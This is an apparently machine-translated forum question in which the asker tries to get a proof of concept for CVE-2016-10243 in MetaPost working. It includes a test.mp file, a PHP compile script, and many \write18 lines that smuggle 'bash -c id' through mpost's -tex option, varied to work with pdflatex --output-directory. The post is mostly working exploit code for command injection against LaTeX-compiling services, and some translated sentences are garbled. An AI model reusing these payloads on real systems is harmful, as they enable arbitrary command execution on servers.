使用带有选项 --output-directory 的 pdflatex 时,metapost 拒绝执行命令

使用带有选项 --output-directory 的 pdflatex 时,metapost 拒绝执行命令

我正在尝试利用CVE-2016-10243漏洞(我启用mposttexmf配置文件,因此它也适用于较新版本的 Tex Live):


活动视频:

测试文件

verbatimtex
\documentclass{minimal}
\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig;
\end{document}
bye

测试.tex

\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn" "test.mp"}
\end{document}

我正在使用将 Latex 文档编译为 PDF 的 PHP 脚本。当我将 PHP 脚本放在 Latex 和 MetaPost 文档所在的同一目录中时,它就可以正常工作。

测试.php

<?php
shell_exec("pdflatex test.tex");
shell_exec("bibtex test.aux");
shell_exec("pdflatex test.tex");
shell_exec("pdflatex test.tex");

但是,当使用pdflatex选项--output-directory(和bibtex绝对路径:)/absolute/path/test.auxpdflatex从另一个目录调用时,它不起作用。

该漏洞的作者状态

pdflatex一些技巧可以提高“漏洞”的可靠性。事实上,如果不是从 的目录启动,x.mp这个PoC 就不起作用[test.mp](但.mp可以指定默认文件)。即使出现错误,-interaction=nonstopmode 的选项也允许编译文档的其余部分。mpost

这里我发现 MetaPost 有一个额外的参数-output-directory,该参数未在man mpostmpost --help(Tex Live 2019)中记录:

在我的计算机上,命令行:mpost -output-directory=./temp 正在工作(temp 是主目录的子目录)

但是 MetaPost手动的说(第 99 页):

以下命令行开关将被忽略,但会触发警告:

-不解析第一行

-output-directory=⟨字符串⟩

-translate-file=⟨字符串⟩

这里(mpost(1) - Linux 手册页) 上面说这个参数可用。这很令人困惑 (!)。


到目前为止我已经尝试过:

测试.php(另--shell-escape可选)

$tempDir = "/absolute/path";

<?php
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("bibtex ".$tempDir."/test.aux");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");

测试.tex

\documentclass{article}
\begin{document}

% -output-directory with "-"
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn1" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn2" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn3" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn4" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn5" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn6" "/absolute/path/test.mp"}

% --output-directory with "--"
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn7" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn8" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn9" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn10" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn11" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn12" "/absolute/path/test.mp"}

% without "output-directory"
\immediate\write18{mpost -ini "-tex=bash -c id>pwn13" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>pwn14" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn15" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn16" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn17" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn18" "/absolute/path/test.mp"}

\end{document}

用户权限应该没问题(因为从同一目录运行它可以工作,但从其他目录运行则不行)。我还尝试使用in 来检查可能的 tex 权限问题(从我的 latex 文档内部执行命令)。我检查了两个--shell-escape目录:linux 默认目录和另一个 PHP 目录()。它为我生成了一个有效的 PDF 文件和一个 metapost 文档,但我没有看到任何文件。shell_exectmp/tmp//tmp/system-private-...-apache2-service-.../tmp/pwn

问题:这是一个不起作用的额外安全功能吗?

相关内容